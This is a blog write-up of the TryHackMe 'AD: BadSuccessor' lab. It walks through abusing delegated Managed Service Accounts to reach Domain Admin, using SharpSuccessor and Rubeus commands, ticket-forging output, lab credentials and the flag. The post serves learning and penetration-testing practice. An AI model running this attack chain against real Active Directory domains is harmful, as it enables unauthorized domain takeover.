Skip to main content
HashnodeCyberWithSharon

Command Palette

Search for a command to run...

AD: BadSuccessor (TryHackMe)

Updated
•25 min read•View as Markdown
AD: BadSuccessor (TryHackMe)
J
Jebitok
Software Developer | Learning Cybersecurity | Open for roles * If you're in the early stages of your career in software development (student or still looking for an entry-level role) and in need of mentorship, you can reach out to me.

Link to the challenge on TryHackMe: AD: BadSuccessor

Introduction

For those unfamiliar with Microsoft Active Directory (AD), it resembles a centralized directory that allows administrators to control access to various network resources. AD is common among many corporate networks; more than 20% of corporate networks are estimated to rely on AD for identity and access management. If you are unfamiliar with AD, we recommend going through the Active Directory Basics room before attempting this room.

In this room, we will cover a privilege escalation attack that abuses delegated Managed Service Account (dMSA) to succeed any account, provided that certain conditions are met. This attack was discovered by Yuval Gordon from Akamai and published in the Security Research blog, BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory(opens in new tab). In simple terms, this attack allows a user who can control a dMSA object to achieve domain admin access.

In this room, we will cover:

  • Managed Service Account (MSA) and dMSA

  • Exploitation in a lab environment

  • Currently available mitigation techniques

Starting the Network

Verifying Connectivity to the Network

You can run the route command to verify that your attacker machine can communicate with the target network. The terminal below shows an example output.

AttackBox Terminal

root@attackbox:~# route
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         10.10.0.1       0.0.0.0         UG    100    0        0 ens5
[...]
10.211.101.0    10.250.101.1    255.255.255.0   UG    1000   0        0 tun0
10.250.101.0    0.0.0.0         255.255.255.0   U     0      0        0 tun0
[...]

Alternatively, you can use the ip route command.

AttackBox Terminal

root@attackbox:~# ip route
default via 10.10.0.1 dev ens5 proto dhcp src 10.10.157.170 metric 100
[...]
10.211.101.0/24 via 10.250.101.1 dev tun0 metric 1000
10.250.101.0/24 dev tun0 proto kernel scope link src 10.250.101.2
[...]

Confirm that the 10.211.101.0 subnet is in the command output. If it is, your machine should be able to communicate with the target network.

Note: Please note that the VM at 10.211.101.20 does not respond to ping.

Troubleshooting Connectivity Issues

If you cannot connect to the network from your AttackBox, please open the terminal and run the tryconnectme command. This will run a troubleshooting script:

AttackBox Terminal

root@attackbox:~# tryconnectme
[...]
Before we dive deeper, please make sure that you are only using the AttackBox
and do not have your network VPN profile running anywhere!

The AttackBox uses the same VPN profile as you would use on your own machine
and you are only allowed to run the VPN profile once!

If you are running in two places, stop the other VPN and restart the AttackBox please!

If you confirm that you are only using the AttackBox, press [Y], otherwise, the debugger will quit:

Once you have made sure that you are only connecting to the network from the AttackBox, you can enter the following IP: 10.211.101.10

AttackBox Terminal

[...]
In the network room, look at the network diagram and please provide an IP address being shown to you there.
Format should be X.X.X.X: 10.211.101.10

Trying to ping the VPN server at 10.211.101.250...

From there, follow the instructions given by the script. When the script asks for your VPN server, enter Recent-Threats-BadSuccessor.

If you encounter any issues, please reach out to us on Discord.

Technical Background

Active Directory (AD) has many types of accounts, including user, computer, and group accounts. Among the user accounts, we have service accounts of various types: traditional service accounts and managed service accounts.

A Managed Service Account (MSA) is a special type of account in AD that allows running services or scheduled tasks on MS Windows systems; their key feature is that they don’t require a human user to manage the password. There are three types:

  • Standalone Managed Service Account (sMSA) is designed for a service running on a single computer. The AD handles the account password, including rotating it every 30 days by default. This service account was introduced in Windows Server 2008 R2

  • Group Managed Service Account (gMSA) is designed for a service running on multiple computers or servers. Similarly, the AD handles the account password. This service account was introduced in Windows Server 2012.

  • Delegated Managed Service Account (dMSA) is the most recent addition to the family of service accounts. It enables the migration of a legacy service account to a machine account, i.e., from an account that is not MSA to a dMSA. Unlike a gMSA that is managed by AD and allows running a service on multiple servers, a dMSA is managed by an administrator and allows running a service on a specific server. It was introduced in Windows Server 2025, and you can learn more about it here(opens in new tab).

The BadSuccessor attack can be carried out if the user controls a dMSA object. Starting from the ability to control a dMSA object, the attacker can succeed the domain admin. In other words, two possible starting scenarios are: The attacker gains control over an existing dMSA object, or an attacker manages to create a new dMSA.

Answer the questions below

Which version of MS Windows introduced dMSA? Windows Server 2025

Reconnaissance

To explore this vulnerability, you will play the role of the inquisitive IT personnel, Terry Byte, who got authorization to check how vulnerable their brand-new AD environment is. Please use Terry Byte’s credentials listed below:

  • Username: tbyte

  • Password: P@SSw0rd345

  • Domain: tryhackme.local

  • Windows Server: 10.211.101.20

Using the above credentials, we will log in to an MS Windows Server 2019 over RDP. On the AttackBox’s terminal, you can use Remmina to connect to remote desktops. (Remmina can be found under the Internet group in the Applications menu.)

Once connected to 10.211.101.20 over RDP, please start the Windows PowerShell terminal and follow along.

As a first step, Terry has prepared a few scripts and tools and saved them in C:\PoC\. You can use the Get-BadSuccessorOUPermissions.ps1(opens in new tab) script to identify accounts that can create dMSA in their organization units (OUs). It searches for accounts that have certain privileges, as shown in line 63, displayed below.

PowerShellScript

$relevantRights = "CreateChild|GenericAll|WriteDACL|WriteOwner"

Let’s run the script and see which accounts will show up.

Windows PowerShell

PS C:\PoC> .\Get-BadSuccessorOUPermissions.ps1

Identity         OUs
--------         ---
TRYHACKME\hmann  {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\tbyte  {OU=LabOU,DC=tryhackme,DC=local}
[...]

As shown in the terminal output above, we successfully obtained a list of users with the necessary privileges.

Answer the questions below

What is the username of the third account? ditall

Exploitation Using Windows

Exploitation can be initiated manually by creating a dMSA in an OU that the user has write access to and then by modifying the dMSA object attribute to mimic a successful migration. Once these two steps are completed, getting a Ticket Granting Ticket (TGT) and proceeding to get credentials would be possible. You can refer to the original post(opens in new tab) for more details; however, in this task, it is more convenient to use a script or a program to do the manual steps for us.

A solid proof of concept (PoC) is SharpSuccessor; it is written in C Sharp and requires compilation. We compiled it along with Rubeus and made them available at C:\PoC. To use SharpSuccessor, we need to use the following syntax:

.\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator

  • Specify the /path: to the OU that the user has access to; you already looked this up in the previous task.

  • Provide the account with access to this OU via /account:.

  • Set a name for the dMSA object that will be created using the /name: argument.

  • Finally, pick the account you like to /impersonate:. A successful run of the above command using our account tbyte is shown in the terminal below:

PS C:\PoC> .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
   _____ _                      _____
  / ____| |                    / ____|
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|
                         | |
                         |_|
@_logangoins

[+] Adding dnshostname pentest_dmsa.tryhackme.local
[+] Adding samaccountname pentest_dmsa$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=pentest_dmsa' in 'ou=LabOU,dc=tryhackme,dc=local'
[+] Successfully weaponized dMSA object

In the next step, you can request a TGT; one easy way is to do it using Rubeus with the command .\Rubeus.exe tgtdeleg /nowrap. The tgtdeleg abuses a lesser-known feature of Kerberos’s unconstrained delegation. It asks the system to impersonate the current user and export their TGT directly from memory via a legitimate API call. On the other hand, the /nowrap option outputs the result (typically base64) in a single line, perfect for copy-paste reuse without formatting headaches. In the terminal below, we can see how the ticket is generated and displayed.

PS C:\PoC> .\Rubeus.exe tgtdeleg /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3


[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC-LAB2025-01.tryhackme.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: +xZBdNT0tzepnndbK8iadIfT7630HRgb9p8WPmfafJw=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFvjCCBbqgAwIBBaEDAgEWooIEvTCCBLlhggS1MIIEsaADAgEFoREbD1RSWUhBQ0tNRS5MT0NBTKIkMCKgAwIBAqEbMBkbBmtyYnRndBsPVFJZSEFDS01FLkxPQ0FMo4IEbzCCBGugAwIBEqEDAgECooIEXQSCBFmW1f2Y
[...]

With the TGT claimed using tgtdeleg, you can use it to impersonate the dMSA account to request a Ticket Granting Service (TGS) with the following command:

.\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:doIFvjC...

  • /targetuser:pentest_dmsa$ is the account we are impersonating; it is the account we created earlier using SharpSuccessor.

  • /service:krbtgt/tryhackme.local is the Service Principal Name (SPN) we are targeting. In this case, it is the Kerberos Ticket Granting Ticket account.

  • /opsec tells Rubeus to perform safety checks and avoid overly noisy behaviour. It disables ticket reuse, disables RC4 encryption (which can trigger alarms), and ensures more EDR-friendly usage. If you are conducting a penetration test, you don’t want to alert the blue team.

  • /dmsa stands for Device Management Service Account context. It tells Rubeus you’re dealing with a computer account ticket and that it should follow Kerberos protocol paths accordingly.

  • /ptt stands for pass-the-ticket. Once Rubeus forges or receives the TGS, it will immediately be injected into the current session, making it available for use; there is no need to save and replay.

  • **/ticket:doIFvjC...** is your base64-encoded TGT that you got from running Rubeus earlier. You’re feeding it to Rubeus so it can use it to request the new TGS on behalf of the target user.

Running the command above will generate another ticket for us.

PS C:\PoC> .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:doIFvjC...
[...]

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'pentest_dmsa$' from 'tbyte'
[+] Sequence number is: 1760776142
[*] Using domain controller: DC-LAB2025-01.tryhackme.local (fe80::4940:40ad:96b3:e808%3)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):
[...]

  ServiceName              :  krbtgt/TRYHACKME.LOCAL
  ServiceRealm             :  TRYHACKME.LOCAL
  UserName                 :  pentest_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  tryhackme.local
  StartTime                :  2025-05-29 10:33:36 AM
  EndTime                  :  2025-05-29 10:48:35 AM
  RenewTill                :  2025-06-05 10:14:09 AM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  BSsFPiodcapHvbXNFCI/r/GZmHYAuSmPXukvtgpEoqE=
  Current Keys for pentest_dmsa$: (aes256_cts_hmac_sha1) B0698CE98C5901D19CE371081F46ECD93D63CB32E3E70579CB269BD16F912093

With the new ticket, we can request any service ticket with Administrator context. Let’s proceed with .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:doIGLjCCB... This command uses the following:

  • /user:pentest_dmsa$ specifies the user you are impersonating. In this case, it is the computer account that we created earlier.

  • /service:cifs/DC-LAB2025-01.tryhackme.local is the SPN for the SMB/CIFS service on the target system. You’re telling Rubeus exactly where you want access and for which service.

            PS C:\PoC> .\Rubeus.exe asktgs /user:pentest_dmsa$ /service:cifs/DC-LAB2025-01.tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:doIGLjCCB...

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for '' from 'pentest_dmsa$'
[+] Sequence number is: 1865807991
[*] Using domain controller: DC-LAB2025-01.tryhackme.local (fe80::4940:40ad:96b3:e808%3)
[+] TGS request successful!
[*] '/opsec' passed and service ticket has the 'ok-as-delegate' flag set, requesting a delegated TGT.
[+] Sequence number is: 908008309
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

[...]

  ServiceName              :  cifs/DC-LAB2025-01.tryhackme.local
  ServiceRealm             :  TRYHACKME.LOCAL
  UserName                 :  pentest_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  tryhackme.local
  StartTime                :  2025-05-29 10:44:51 AM
  EndTime                  :  2025-05-29 10:48:35 AM
  RenewTill                :  2025-06-05 10:14:09 AM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  iwNuiecYT5gzdCyhOxzGYKzrSDlc2glmnMnr5aEDvv0=

The Admin’s Desktop

With the ticket in memory, let’s attempt to check the Domain Admin’s desktop on the domain controller, DC-LAB2025-01. Successful exploitation should return a result similar to the one below.

            PS C:\PoC> dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\

    Directory: \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/29/2025   9:02 AM            251 flag.txt

PS C:\PoC>

Answer the questions below

What is the flag on the Administrator’s Desktop? THM{Successors_Unplanned_Redacted}

PS C:\PoC> .\Get-BadSuccessorOUPermissions.ps1

Identity         OUs
--------         ---
TRYHACKME\hmann  {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\tbyte  {OU=LabOU,DC=tryhackme,DC=local}
TRYHACKME\ditall {OU=LabOU,DC=tryhackme,DC=local}

PS C:\PoC> .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:pentest_dmsa /impersonate:Administrator
   _____ _                      _____
  / ____| |                    / ____|
 | (___ | |__   __ _ _ __ _ __| (___  _   _  ___ ___ ___  ___ ___  ___  _ __
  \___ \| '_ \ / _` | '__| '_ \\___ \| | | |/ __/ __/ _ \/ __/ __|/ _ \| '__|
  ____) | | | | (_| | |  | |_) |___) | |_| | (_| (_|  __/\__ \__ \ (_) | |
 |_____/|_| |_|\__,_|_|  | .__/_____/ \__,_|\___\___\___||___/___/\___/|_|
                         | |
                         |_|
@_logangoins

[+] Adding dnshostname pentest_dmsa.tryhackme.local
[+] Adding samaccountname pentest_dmsa$
[+] Administrator's DN identified
[+] Attempting to write msDS-ManagedAccountPrecededByLink
[+] Wrote attribute successfully
[+] Attempting to write msDS-DelegatedMSAState attribute
[+] Attempting to set access rights on the dMSA object
[+] Attempting to write msDS-SupportedEncryptionTypes attribute
[+] Attempting to write userAccountControl attribute
[+] Created dMSA object 'CN=pentest_dmsa' in 'ou=LabOU,dc=tryhackme,dc=local'
[+] Successfully weaponized dMSA object

PS C:\PoC> .\Rubeus.exe tgtdeleg /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Request Fake Delegation TGT (current user)

[*] No target SPN specified, attempting to build 'cifs/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'cifs/DC-LAB2025-01.tryhackme.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: QalJBtmsekaOC+rXC7vMrJ/vR7qZKkuuhvTqONC/lGw=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):

      doIFvjCCBbqgAwIBBaEDAgEWooIEvTCCBLlhggS1MIIEsaADAgEFoREbD1RSWUhBQ0tNRS5MT0NBTKIkMCKgAwIBAqEbMBkbBmtyYnRndBsPVFJZSEFDS01FLkxPQ0FMo4IEbzCCBGugAwIBEqEDAgECooIEXQSCBFm1Cdiy0nN8HfpJzoJCBrNRwuWp4I2n/fd2wIDXZjrXTmZiH3qXKTKFDgaYqpZaDRitf8zN8g1JacJV9zcWYV+PxrNhr8Xh9nsoo8g9UUynjKxhISRLbVfn/0aoShtCgnjkcp1/ygP65KFFTjDYQ72wwZhNQXlsDDrs6IzDlRHPJ9adijBBPMXzrtp0EAwXQckHtSn1Gv0FVbmyjzP7rmpVZepy5D+KpDCcpXhibdGg3DrGSbap0WJ2rbgGsoxdN+Z53vKlAZWhUc31mlJqFLlJ/69MTbNg6RPon0/P2BfO4IdDqSEgh7Bx5SgBoaot+wRmHm4dM72hbi4v2IyUDTB+OSutXWH5pbsLB1DoQqQ9IOlYT4RNpCk5QIzKD2vg8n3MYm7/cP5FbgI6ONDULpPODGY+2H8qNAYjJ5g5L2Hprx+R0WZzuLYtMKfU/3+bCBC3ka+045zVhtySJ9GFn5c0gOiDvUrh+w+IWXNt1gOWw+hCbCf1EsaREcLvEfBQ+gw+PqGfofxcPQZ9CNSuVKPVLuRTMKX7jscqU7Mj9v9beN81boGo56hKITyGwXUpKmzIl0f9r7ly0wRgNY1H5GKUpFGS8LAQMWZTP3NpFZqD99ET/x9w0yU4HahVgRg7U+S0Yht1Qy+fD8RXJTtqcpJd3L7agfnRwnHOr+p0tS4+hg1IztdeBSf+Pt/Fka75ygL3miDps2wacXWTlKB6pZBxIq2ih1A5ElidKDRoayTChamGVQRw3opEohUBKPVWU2hWhUsra1I3tSszrFvhliss0Onownq+DJ+Gp2BU3/lfwgthO6kddQ5roMJFYY5OQ3T31D/p2dxGnj2k5Jml+W9lDqzQ6jhlccd5mn55eE/yHuA6RhguDGKjo2sbv5JAckPZovllWTLQUtVoU6myysu/13uEid35dF2gjYBQCb1NnulJWi2qF3PBsJ7YN4EovztUfTtmAbotQWOWnNBRVbCGD+cgGw0jtecOkseBgKBYiHLcXvCMZJmT9bnbtG9dhnTL57L5Z6ZQChNZ/brl8YZpZ+w4UxHXKhAK9KuuTt3KYLzHeJLNRAfgtlsbqJc14wjbNoN0wtx9Ugl9PjtTDgTZuRK9LRoSC5jcuZOw6WS/9pOm4jeL4RH5R0jGMBDWHLLHJzkyUVcsgd/lTBfDJzrb+NdGRd1iuf8tHdRrcTR6eYbaeosv2Ed6JUNIgoCKPq7KvxG3TwWN5Sny5e25xFZHFEP5qaSACeApOUSwZT9elr9gG2BQ1m7gJvgnGp6zr5bAwpTCXOQXUEEvB7xkv+aGB2q2snUSM31HT/8J2s5edb4g8//rjh0P05gwwZ3f7pLe4SswjsebJr5ODEPKlm454B+EALlZhRgyKeZg6wCMITU+BuPUZbq9Ct1wv9UWgvYWwmvknmsM5CHSKtbi2neixznBnjeT6Feny7bFGBzTscflVmhKaTFrWPIAfDAT+y5EkmvHQ4XVodKjgewwgemgAwIBAKKB4QSB3n2B2zCB2KCB1TCB0jCBz6ArMCmgAwIBEqEiBCCwQgYhcj8ziN+1we+STfIsQkqL1PzD3C3oIoVnQ9ygOKERGw9UUllIQUNLTUUuTE9DQUyiEjAQoAMCAQGhCTAHGwV0Ynl0ZaMHAwUAYKEAAKURGA8yMDI2MDYwNjE2NDA0NlqmERgPMjAyNjA2MDcwMjM1MjNapxEYDzIwMjYwNjEzMTYzNTIzWqgRGw9UUllIQUNLTUUuTE9DQUypJDAioAMCAQKhGzAZGwZrcmJ0Z3QbD1RSWUhBQ0tNRS5MT0NBTA==

.\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:doIFvjCCBbqgAwIBBaEDAgEWooIEvTCCBLlhggS1MIIEsaADAgEFoREbD1RSWUhBQ0tNRS5MT0NBTKIkMCKgAwIBAqEbMBkbBmtyYnRndBsPVFJZSEFDS01FLkxPQ0FMo4IEbzCCBGugAwIBEqEDAgECooIEXQSCBFm1Cdiy0nN8HfpJzoJCBrNRwuWp4I2n/fd2wIDXZjrXTmZiH3qXKTKFDgaYqpZaDRitf8zN8g1JacJV9zcWYV+PxrNhr8Xh9nsoo8g9UUynjKxhISRLbVfn/0aoShtCgnjkcp1/ygP65KFFTjDYQ72wwZhNQXlsDDrs6IzDlRHPJ9adijBBPMXzrtp0EAwXQckHtSn1Gv0FVbmyjzP7rmpVZepy5D+KpDCcpXhibdGg3DrGSbap0WJ2rbgGsoxdN+Z53vKlAZWhUc31mlJqFLlJ/69MTbNg6RPon0/P2BfO4IdDqSEgh7Bx5SgBoaot+wRmHm4dM72hbi4v2IyUDTB+OSutXWH5pbsLB1DoQqQ9IOlYT4RNpCk5QIzKD2vg8n3MYm7/cP5FbgI6ONDULpPODGY+2H8qNAYjJ5g5L2Hprx+R0WZzuLYtMKfU/3+bCBC3ka+045zVhtySJ9GFn5c0gOiDvUrh+w+IWXNt1gOWw+hCbCf1EsaREcLvEfBQ+gw+PqGfofxcPQZ9CNSuVKPVLuRTMKX7jscqU7Mj9v9beN81boGo56hKITyGwXUpKmzIl0f9r7ly0wRgNY1H5GKUpFGS8LAQMWZTP3NpFZqD99ET/x9w0yU4HahVgRg7U+S0Yht1Qy+fD8RXJTtqcpJd3L7agfnRwnHOr+p0tS4+hg1IztdeBSf+Pt/Fka75ygL3miDps2wacXWTlKB6pZBxIq2ih1A5ElidKDRoayTChamGVQRw3opEohUBKPVWU2hWhUsra1I3tSszrFvhliss0Onownq+DJ+Gp2BU3/lfwgthO6kddQ5roMJFYY5OQ3T31D/p2dxGnj2k5Jml+W9lDqzQ6jhlccd5mn55eE/yHuA6RhguDGKjo2sbv5JAckPZovllWTLQUtVoU6myysu/13uEid35dF2gjYBQCb1NnulJWi2qF3PBsJ7YN4EovztUfTtmAbotQWOWnNBRVbCGD+cgGw0jtecOkseBgKBYiHLcXvCMZJmT9bnbtG9dhnTL57L5Z6ZQChNZ/brl8YZpZ+w4UxHXKhAK9KuuTt3KYLzHeJLNRAfgtlsbqJc14wjbNoN0wtx9Ugl9PjtTDgTZuRK9LRoSC5jcuZOw6WS/9pOm4jeL4RH5R0jGMBDWHLLHJzkyUVcsgd/lTBfDJzrb+NdGRd1iuf8tHdRrcTR6eYbaeosv2Ed6JUNIgoCKPq7KvxG3TwWN5Sny5e25xFZHFEP5qaSACeApOUSwZT9elr9gG2BQ1m7gJvgnGp6zr5bAwpTCXOQXUEEvB7xkv+aGB2q2snUSM31HT/8J2s5edb4g8//rjh0P05gwwZ3f7pLe4SswjsebJr5ODEPKlm454B+EALlZhRgyKeZg6wCMITU+BuPUZbq9Ct1wv9UWgvYWwmvknmsM5CHSKtbi2neixznBnjeT6Feny7bFGBzTscflVmhKaTFrWPIAfDAT+y5EkmvHQ4XVodKjgewwgemgAwIBAKKB4QSB3n2B2zCB2KCB1TCB0jCBz6ArMCmgAwIBEqEiBCCwQgYhcj8ziN+1we+STfIsQkqL1PzD3C3oIoVnQ9ygOKERGw9UUllIQUNLTUUuTE9DQUyiEjAQoAMCAQGhCTAHGwV0Ynl0ZaMHAwUAYKEAAKURGA8yMDI2MDYwNjE2NDA0NlqmERgPMjAyNjA2MDcwMjM1MjNapxEYDzIwMjYwNjEzMTYzNTIzWqgRGw9UUllIQUNLTUUuTE9DQUypJDAioAMCAQKhGzAZGwZrcmJ0Z3QbD1RSWUhBQ0tNRS5MT0NBTA==

PS C:\PoC> .\Rubeus.exe asktgs /targetuser:pentest_dmsa$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:doIFvjCCBbqgAwIBBaEDAgEWooIEvTCCBLlhggS1MIIEsaADAgEFoREbD1RSWUhBQ0tNRS5MT0NBTKIkMCKgAwIBAqEbMBkbBmtyYnRndBsPVFJZSEFDS01FLkxPQ0FMo4IEbzCCBGugAwIBEqEDAgECooIEXQSCBFm1Cdiy0nN8HfpJzoJCBrNRwuWp4I2n/fd2wIDXZjrXTmZiH3qXKTKFDgaYqpZaDRitf8zN8g1JacJV9zcWYV+PxrNhr8Xh9nsoo8g9UUynjKxhISRLbVfn/0aoShtCgnjkcp1/ygP65KFFTjDYQ72wwZhNQXlsDDrs6IzDlRHPJ9adijBBPMXzrtp0EAwXQckHtSn1Gv0FVbmyjzP7rmpVZepy5D+KpDCcpXhibdGg3DrGSbap0WJ2rbgGsoxdN+Z53vKlAZWhUc31mlJqFLlJ/69MTbNg6RPon0/P2BfO4IdDqSEgh7Bx5SgBoaot+wRmHm4dM72hbi4v2IyUDTB+OSutXWH5pbsLB1DoQqQ9IOlYT4RNpCk5QIzKD2vg8n3MYm7/cP5FbgI6ONDULpPODGY+2H8qNAYjJ5g5L2Hprx+R0WZzuLYtMKfU/3+bCBC3ka+045zVhtySJ9GFn5c0gOiDvUrh+w+IWXNt1gOWw+hCbCf1EsaREcLvEfBQ+gw+PqGfofxcPQZ9CNSuVKPVLuRTMKX7jscqU7Mj9v9beN81boGo56hKITyGwXUpKmzIl0f9r7ly0wRgNY1H5GKUpFGS8LAQMWZTP3NpFZqD99ET/x9w0yU4HahVgRg7U+S0Yht1Qy+fD8RXJTtqcpJd3L7agfnRwnHOr+p0tS4+hg1IztdeBSf+Pt/Fka75ygL3miDps2wacXWTlKB6pZBxIq2ih1A5ElidKDRoayTChamGVQRw3opEohUBKPVWU2hWhUsra1I3tSszrFvhliss0Onownq+DJ+Gp2BU3/lfwgthO6kddQ5roMJFYY5OQ3T31D/p2dxGnj2k5Jml+W9lDqzQ6jhlccd5mn55eE/yHuA6RhguDGKjo2sbv5JAckPZovllWTLQUtVoU6myysu/13uEid35dF2gjYBQCb1NnulJWi2qF3PBsJ7YN4EovztUfTtmAbotQWOWnNBRVbCGD+cgGw0jtecOkseBgKBYiHLcXvCMZJmT9bnbtG9dhnTL57L5Z6ZQChNZ/brl8YZpZ+w4UxHXKhAK9KuuTt3KYLzHeJLNRAfgtlsbqJc14wjbNoN0wtx9Ugl9PjtTDgTZuRK9LRoSC5jcuZOw6WS/9pOm4jeL4RH5R0jGMBDWHLLHJzkyUVcsgd/lTBfDJzrb+NdGRd1iuf8tHdRrcTR6eYbaeosv2Ed6JUNIgoCKPq7KvxG3TwWN5Sny5e25xFZHFEP5qaSACeApOUSwZT9elr9gG2BQ1m7gJvgnGp6zr5bAwpTCXOQXUEEvB7xkv+aGB2q2snUSM31HT/8J2s5edb4g8//rjh0P05gwwZ3f7pLe4SswjsebJr5ODEPKlm454B+EALlZhRgyKeZg6wCMITU+BuPUZbq9Ct1wv9UWgvYWwmvknmsM5CHSKtbi2neixznBnjeT6Feny7bFGBzTscflVmhKaTFrWPIAfDAT+y5EkmvHQ4XVodKjgewwgemgAwIBAKKB4QSB3n2B2zCB2KCB1TCB0jCBz6ArMCmgAwIBEqEiBCCwQgYhcj8ziN+1we+STfIsQkqL1PzD3C3oIoVnQ9ygOKERGw9UUllIQUNLTUUuTE9DQUyiEjAQoAMCAQGhCTAHGwV0Ynl0ZaMHAwUAYKEAAKURGA8yMDI2MDYwNjE2NDA0NlqmERgPMjAyNjA2MDcwMjM1MjNapxEYDzIwMjYwNjEzMTYzNTIzWqgRGw9UUllIQUNLTUUuTE9DQUypJDAioAMCAQKhGzAZGwZrcmJ0Z3QbD1RSWUhBQ0tNRS5MT0NBTA==
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.3.3

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building DMSA TGS-REQ request for 'pentest_dmsa$' from 'tbyte'
[+] Sequence number is: 1379140330
[*] Using domain controller: DC-LAB2025-01.tryhackme.local (10.211.101.10)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      

  ServiceName              :  krbtgt/TRYHACKME.LOCAL
  ServiceRealm             :  TRYHACKME.LOCAL
  UserName                 :  pentest_dmsa$ (NT_PRINCIPAL)
  UserRealm                :  tryhackme.local
  StartTime                :  6/6/2026 5:16:47 PM
  EndTime                  :  6/6/2026 5:31:47 PM
  RenewTill                :  6/13/2026 4:35:23 PM
  Flags                    :  name_canonicalize, pre_authent, renewable, forwarded, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  zaLpdRiuX0nIWgbP1DjwaSNFhkPFGxg3o380qbkOXj0=
  Current Keys for pentest_dmsa$: (aes256_cts_hmac_sha1) 8165E4B41301A21764F9ACCA8947D94D95F5FAF762E56AEAF78A0749265C7874

